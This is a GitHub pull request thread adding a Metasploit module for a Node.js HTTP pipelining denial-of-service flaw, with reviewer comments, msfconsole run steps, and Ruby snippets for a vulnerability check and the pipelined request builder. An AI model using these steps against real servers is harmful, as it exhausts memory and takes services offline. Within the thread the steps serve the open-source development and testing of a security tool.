Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for Node.js HTTP Pipelining DoS #2548

Merged
merged 1 commit into from Oct 22, 2013

Conversation

titanous
Copy link
Contributor

I was bored, so this is my first (ridiculously trivial) Metasploit module. Please be gentle.

The vulnerability is caused by a lack of backpressure on pipelined
requests, causing unbounded memory allocation for each request.
},
'Author' => [ 'titanous' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

can you add 'Marek Majkowski', the discoverer here?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done.

@FiloSottile
Copy link

A good improvement would be detecting the backpressure, and reporting that the target is not affected.

@jvennix-r7
Copy link
Contributor

Yikes. successfully verified with the steps:

$ node -e "require('http').createServer(function(req, res){res.end();}).listen(9090);"
msf> use auxiliary/dos/http/node_pipelining
msf> set RHOST 127.0.0.1
msf> set RPORT 9090
msf> set RLIMIT 10000000   # depends on your machine
msf> run
...
[*] DoS successful. 192.168.0.4:9090 not responding.

Yep memory soars and cpu locks at 100%, pretty bad.

Testing with: https:

$ openssl genrsa -out server-key.pem 1024
$ openssl req -new -key server-key.pem -out server-csr.pem
$ openssl x509 -req -in server-csr.pem -signkey server-key.pem -out server-cert.pem
$ node -e "fs=require('fs'); require('https').createServer({key: fs.readFileSync('./server-key.pem'), cert: fs.readFileSync('./server-cert.pem')}, function(req, res){res.end();}).listen(9090);"
msf> set SSL true
msf> run
...
[*] DoS successful. 192.168.0.4:9090 not responding.

@jvennix-r7
Copy link
Contributor

@FiloSottile so send a test request while the pipelined req is being sent? Sounds like a good idea to me, a #check method would be nice too

'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://blog.nodejs.org/2013/10/18/node-v0-10-21-stable/' ],

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here I would suggest putting the issue URL

nodejs/node-v0.x-archive#6214

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done.

@FiloSottile
Copy link

Umh, yeah, something like that. Or what do we see from the client side when they apply backpressure?

I have to look at that fix commit.

@titanous
Copy link
Contributor Author

The backpressure is applied by pausing reads from the client socket after reaching a high-water mark for the stream buffer. This causes TCP flow control to kick in, which will slow down the client sending. I can't think of a good way to detect this reliably, but suggestions are welcome.

register_options(
[
Opt::RPORT(80),
OptBool.new('SSL', [true, 'Use SSL', false]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SSL should already be registered by Exploit::Remote::TCP

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Indeed. Updated.

@jvennix-r7
Copy link
Contributor

Taking a look at fingerprinting this.

@jvennix-r7
Copy link
Contributor

Here's a check for < 0.10.17, which will at least give you some idea of what you're hitting:

def check
  # http://blog.nodejs.org/2013/08/21/node-v0-10-17-stable/
  # check if we are < 10.17 by seeing if a malformed HTTP request is accepted
  status = Exploit::CheckCode::Unknown
  connect
  sock.put(http_request("GEM"))
  begin
    response = sock.get_once
    status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/
  rescue EOFError
    status = Exploit::CheckCode::Unknown
  ensure
    disconnect
  end
  status
end

I moved the HTTP request creation to a helper so it could be used it in exploit and check

# returns a small HTTP request header that is sent many times to the server
# over one "pipelined" connection.
def http_request(method='GET')
  host = datastore['RHOST']
  host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
  "#{method} / HTTP/1.1\r\nHost: #{host}\r\n\r\n"
end

@jvennix-r7
Copy link
Contributor

Any testing/checking you could do as well would be much appreciated :)

@titanous
Copy link
Contributor Author

@jvennix-r7 Thanks, I've added the check and confirmed that it works.

@OJ
Copy link
Contributor

OJ commented Oct 20, 2013

@titanous +1 for a great first contribution :)

@jvazquez-r7
Copy link
Contributor

Processing!

end

def http_request(method='GET')
host = datastore['RHOST']
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add a new method

def host
    host = datastore['RHOST']
    host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
    return host
end

So host can be referenced later from the run method too

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed.

@jvazquez-r7
Copy link
Contributor

@titanous do you mind to share a description of your testing target and the RLIMIT you've used to trigger it.... I guess I'm sucking at node.js... but basically I'm running this (weird) sample http server with a vulnerable node.js installation:

var http = require('http');
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/plain'});
  res.end('Hello World\n');
}).listen(1337, '0.0.0.0');

No luck triggering the overflow condition on the module :?

Guess I'm doing something wrong.... xD guidance is welcome :)

Thanks for awesome contrib!

sock.put(http_request("GEM"))
begin
response = sock.get_once
status = Exploit::CheckCode::Vulnerable if response =~ /HTTP/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks like Exploit::CheckCode::Appears fits better here, since as discussed with @jvennix-r7 there are other reasons to get this answer, even on a non vulnerable server. (Example: A web server (no node.js) returning an HTTP "bad method" response)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed.

@titanous
Copy link
Contributor Author

@jvazquez-r7 I bumped the default RLIMIT to 100000.

I ran it against your test script and the memory usage jumped from 5MB to over 125MB and stayed there. A crash would be caused by sending enough requests to trigger an OOM condition (or on OS X fill the hard drive with swap).

@jvazquez-r7
Copy link
Contributor

Hi @titanous , thanks for keep working on it! :)

ooo grgr didn't mean overflow condition.... my head....

I mean trigger the DoS condition in the module:

    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
      print_status("DoS successful. #{host} not responding.")

When running:

msf auxiliary(nodejs_pipelining) > set RLIMIT 10000000
RLIMIT => 10000000
msf auxiliary(nodejs_pipelining) > run

Even when it's stressing memory:

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                                                           
 2127 juan      20   0  931m 894m 1664 R 95.1 89.3   1:56.58 node                                                        

The DoS condition in the module isn't triggered so I never see the "success" message

@titanous
Copy link
Contributor Author

@jvazquez-r7 Yeah, that message will only show up if the process crashes due to OOM while the module is being run. I couldn't come up with another way of testing, as the DoS is caused by unbounded memory allocation.

@jvazquez-r7
Copy link
Contributor

oka, yeah, I'm going just to add some print_status to clarify and landing :) thanks for contributing!

jvazquez-r7 pushed a commit that referenced this pull request Oct 22, 2013
@jvazquez-r7 jvazquez-r7 merged commit db447b6 into rapid7:master Oct 22, 2013
@titanous titanous deleted the node-dos branch October 22, 2013 22:34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

6 participants